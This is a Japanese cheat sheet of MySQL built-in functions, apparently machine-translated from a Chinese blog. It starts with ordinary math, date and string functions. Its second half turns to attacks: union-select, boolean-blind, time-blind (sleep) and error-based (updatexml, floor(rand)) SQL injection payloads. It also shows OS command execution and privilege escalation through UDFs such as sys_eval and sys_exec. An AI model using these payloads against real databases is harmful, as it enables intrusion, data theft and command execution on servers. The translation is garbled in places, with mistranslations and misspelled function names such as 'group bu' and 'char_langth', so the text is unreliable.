データベースシステムの機能
システムは、MySQLの機能が付属しています
*その他の機能します。https://blog.csdn.net/qq646040754/article/details/82721801
数学関数:
bin(x)
/ hex(x)
戻りバイナリX /進コード
abs(x)
xの絶対値
mod(x,y)
剰余演算子
sqrt(x)
平方根演算
ceil(x) / ceiling(x)
rand()
0と1の間の浮動小数点数を返します
round(x,D)
Dの小数点以下の桁数に丸め
sign(x)
xの符号を返します。
pow(x,y)
パワーyにX
exp(x)
xの電子力
floor(x)
x以下の最大の整数を返します
count(x)
クエリは、レコードの総数を返します。
sum()
戻る総計
日付機能:
addate(d,n)
Dは、開始日の日付プラスN日に計算されます
addtime(t,n)
時間tの計算に加えてn秒
curdate()
current_date()
現在の日付を返します。
curtime()
current_time()
現在の時刻を返します。
current_timestamp()
localtime()
now()
sysdate()
日付と時刻を返します。
文字列関数:
ascii(str)
これは、最初の文字列のASCII値を返します。
char_langth(str)
文字列の文字数の統計
length(str)
文字列strの長さを返します。
insert(str,x,y,insert)
文字列xから始まり、yの文字列が挿入長さに置き換えられ
lpad(s1,len,s2)
文字列の文字列S1、S2先頭を充填、長さがlenに達したような
rpad(s1,len,s2)
長さがlenに到達するように、文字列の末尾文字列S2、S1を充填
ltrim(s)/rtrim(s)
文字列s /最後の先頭にスペースを削除します。
locate(s1,s)
文字列s S1の開始位置からの取得
position(s1 in s2)
S1は、文字列sの位置から取得しました
left(s,n)
文字列sの最初のn文字を返します。
right(s,n)
n文字列sに戻った後
mid(s,n,len),substring(s,n,len),substr(s,n,len)
文字列sのn個のLENから撮影
concat(s1,s2,…)
戻り値s1は、s2の文字列が接続されています
concat_ws(s1,s2,'char'^)
戻り文字列連結セパレータが自由に追加することができます
lcase()
lower()
小文字変換
ucase(s)
upper(s)
資産計上変換
field()
文字列のリストの最初の位置にある文字列を返します。
find_in_set(s1,s2)
s1とs2一致した位置の文字列内の文字列を返します。
repeat(s,n)
文字列sのn回
reverse(s)
逆の順序で文字列
strcmp(s1,s2)
文字列S1、S2を比較し、比較の結果を返します。
nullif(exp1,exp2)
2つの文字列を比較
formax(x,n)
Xデジタル形式、小数点以下のX nビット(丸め)
truncate(x,y)
バック小数点以下のyビットのx値の値を保持するために、(丸めなし)
binary(s)
バイナリ文字列sに文字列を変換
特殊機能:
connection_id()
データベースサーバー接続のIDを返します。
current_user()
sssion_user
system_user()
user()
現在のユーザー名を返します。
database()
現在のデータベース名を返します。
version()
データベースのバージョン番号を返します。
@@version_compile_os
ビューシステムアーキテクチャ
@@version_compile_machine
ビューMySQLのアーキテクチャ
@@datadir
ビューストレージディレクトリデータ
位置を使用した機能:
長さ機能:長さを決定
select length(database());
()関数を数える:指定した条件に一致する行の数を返します。
union select 1,count(*),3 from user;-- 查看当前表的数量
MID()関数:フィールドから(ピリオド)文字を抽出するための(ブーリアン/時間/与えられたブラインド)
and mid(user(),1,1)='r';
and if(mid(user(),1,1)='r',sleep(2),1);
and updatexml(1,mid(concat(0x7e,user()),1,5),1)
声明によるグループ:組み合わせて使用する集計関数(エラー注入)
and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)
(1,2,3)の場合:時間ブラインド
select if(1=1,sleep(2),1)
MySQLのコマンド実行システム
システム実行形式:
mysql> system <linux命令>
UDFは、システムコマンドを実行する権利を言及します:
MySQLのUDFは、ユーザー定義の関数であり、
要件:
読み取りおよび書き込み権限を持つプラグインディレクトリ
システムアーキテクチャとMySQLを見ます
select @@version_compile_os , @@version_compile_machine ;
MySQLのUDFライブラリは、プラグインファイルに配置する必要があります
select @@plugin_dir;
カスタム関数の構文を作成します。
create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';
AGGREGATE
重合の機能を表し、重合系定義関数は、次のとおりカウント()、AVE()、MN()、SUM()
SONAME
どの関数がファイルから導入されていることを示し、ファイルは通常、ダイナミックリンクライブラリ、Windowsは、DLLは、Linuxは、そうであると、再びファイルのMySQLのプラグインディレクトリです。
UDFサポート機能:
sys_eval
任意のコマンドを実行し、彼の出力に戻ります
sys_exec
任意のコマンドを実行し、彼の終了コードに戻ります
sys_get
環境変数の値を取得します。
sys_set
環境変数を作成するか、既存の環境変数の値を更新